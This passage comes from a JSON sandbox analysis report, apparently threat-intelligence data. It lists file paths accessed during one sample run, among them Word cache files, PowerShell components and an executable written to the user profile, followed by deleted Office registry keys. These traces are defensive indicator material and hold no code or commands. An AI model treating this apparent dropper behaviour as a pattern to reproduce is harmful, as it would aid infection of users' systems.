Files\\Content.MSO\\3B6F62A9.wmf","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.MSO\\8785896.wmf","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.MSO\\80E439F.wmf","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.MSO\\B231C914.wmf","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.MSO\\85992E05.wmf","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.MSO\\4F9A5442.wmf","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.MSO\\C2DA935B.wmf","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.MSO\\5FB2BDA0.wmf","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.MSO\\386260D7.wmf","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.MSO\\98416121.wmf","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.MSO\\443E14AE.wmf","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.MSO\\849394EC.wmf","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\System32\\wbem\\wbemdisp.tlb","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%LOCALAPPDATA%\\GDIPFONTCACHEV1.DAT","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\Fonts\\arial.ttf","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\Fonts\\arialbd.ttf","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\Fonts\\ariali.ttf","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\Fonts\\arialbi.ttf","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\en-US\\powershell.exe.mui","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%USERPROFILE%\\AppData","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%APPDATA%\\Microsoft\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%APPDATA%\\Microsoft","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%APPDATA%\\Microsoft\\Windows","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Start Menu\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%USERPROFILE%\\Desktop\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\System32\\en-US\\shell32.dll.mui","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\System32\\en-US\\setupapi.dll.mui","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Start Menu","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"C:\\ProgramData","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\Programs\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%PUBLIC%\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"C:\\Users\\Public","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%PUBLIC%\\Desktop\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%APPDATA%\\Microsoft\\Internet Explorer","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%APPDATA%\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%APPDATA%\\Microsoft\\Internet Explorer\\Quick Launch","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\System32\\%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell.lnk","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell.lnk\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\Programs","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Desktop.ini","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell.lnk","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\System32","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell_ise.exe","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\hh.exe","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\System32\\rsaenh.dll","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\N8JKJMHQ1SGAVY4IHO3E.temp","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework64\\v2.0.50727\\clr.dll","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorwks.dll","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe.config","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework64\\v2.0.50727\\CONFIG\\machine.config","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework64\\v2.0.50727\\config\\security.config","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework64\\v2.0.50727\\config\\security.config.cch","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework64\\v2.0.50727\\config\\enterprisesec.config","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework64\\v2.0.50727\\config\\enterprisesec.config.cch","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%APPDATA%\\Microsoft\\CLR Security Config\\v2.0.50727.312\\64bit\\security.config","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%APPDATA%\\Microsoft\\CLR Security Config\\v2.0.50727.312\\64bit\\security.config.cch","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\assembly\\NativeImages_v2.0.50727_64\\index334.dat","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\assembly\\pubpol201.dat","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\System32\\l_intl.nls","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\System32\\en-US\\KernelBase.dll.mui","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\Fonts\\tahoma.ttf","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\Fonts\\tahomabd.ttf","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\assembly\\GAC_64\\mscorlib\\2.0.0.0__b77a5c561934e089\\sorttbls.nlp","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\assembly\\GAC_64\\mscorlib\\2.0.0.0__b77a5c561934e089\\sortkey.nlp","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\assembly\\GAC_64\\System.Transactions\\2.0.0.0__b77a5c561934e089\\System.Transactions.dll","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorrc.dll","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\getevent.types.ps1xml","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%APPDATA%\\Microsoft\\UProof\\CUSTOM.DIC","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\System32\\tzres.dll","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\System32\\en-US\\tzres.dll.mui","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\WSMan.Format.ps1xml","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\System32\\en-US\\propsys.dll.mui","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"C:\\Users\\1EKo3Vu","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\AppPatch\\sysmain.sdb","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\Media\\Windows Ding.wav","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000001d.db","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"C:\\Users\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"C:\\Users","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"C:\\Windows","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%USERPROFILE%\\897.exe","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\SysWOW64\\en-US\\setupapi.dll.mui","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\cversions.1.db","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"C:\\share","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\SysWOW64\\en-US\\shell32.dll.mui","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\SysWOW64\\en-US\\winmm.dll.mui","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\Globalization\\Sorting\\SortDefault.nls","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\SysWOW64\\capprep.exe","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\SysWOW64\\rsaenh.dll","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{846EE342-7039-11DE-9D20-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{C3450F58-7060-4AEA-B0A0-C245927D78D0}","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"C:","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\SysWOW64\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\counters.dat","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\SysWOW64\\config\\systemprofile","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\SysWOW64\\config\\systemprofile\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\SysWOW64\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\SysWOW64\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\SysWOW64\\config\\systemprofile\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\SysWOW64\\config\\systemprofile\\AppData\\Roaming\\Microsoft\\Windows\\Cookies","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\SysWOW64\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\SysWOW64\\en-US\\wshtcpip.dll.mui","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\SysWOW64\\en-US\\wship6.dll.mui","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\SysWOW64\\wshqos.dll","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\SysWOW64\\en-US\\wshqos.dll.mui","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]}],"files_deleted":null},"registry_activity":{"keys_created":null,"keys_modified":null,"keys_deleted":[{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\OPTIONS\\VPREF\\","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\LCCACHE\\THEMES\\1033\\NEXTUPDATE\\NEXTUPDATE","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\LCCACHE\\WORDDOCPARTS\\1033\\NEXTUPDATE\\NEXTUPDATE","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\LCCACHE\\SMARTART\\1033\\NEXTUPDATE\\NEXTUPDATE","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\RESILIENCY\\STARTUPITEMS\\T+4\\T+4","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\PROXYBYPASS\\PROXYBYPASS","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\PROXYBYPASS\\PROXYBYPASS","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\INTRANETNAME\\INTRANETNAME","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\INTRANETNAME\\INTRANETNAME","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\MAX DISPLAY\\MAX DISPLAY","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 1\\ITEM 1","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 2\\ITEM 2","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 3\\ITEM 3","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 4\\ITEM 4","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 5\\ITEM 5","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 6\\ITEM 6","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 7\\ITEM 7","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 8\\ITEM 8","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 9\\ITEM 9","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 10\\ITEM 10","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 11\\ITEM 11","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 12\\ITEM 12","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 13\\ITEM 13","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 14\\ITEM 14","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 15\\ITEM 15","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 16\\ITEM 16","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 17\\ITEM 17","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 18\\ITEM 18","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 19\\ITEM 19","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 20\\ITEM 20","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 21\\ITEM 21","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 22\\ITEM 22","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 23\\ITEM 23","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 24\\ITEM 24","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 25\\ITEM 25","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 26\\ITEM 26","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 27\\ITEM 27","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 28\\ITEM 28","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 29\\ITEM 29","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 30\\ITEM 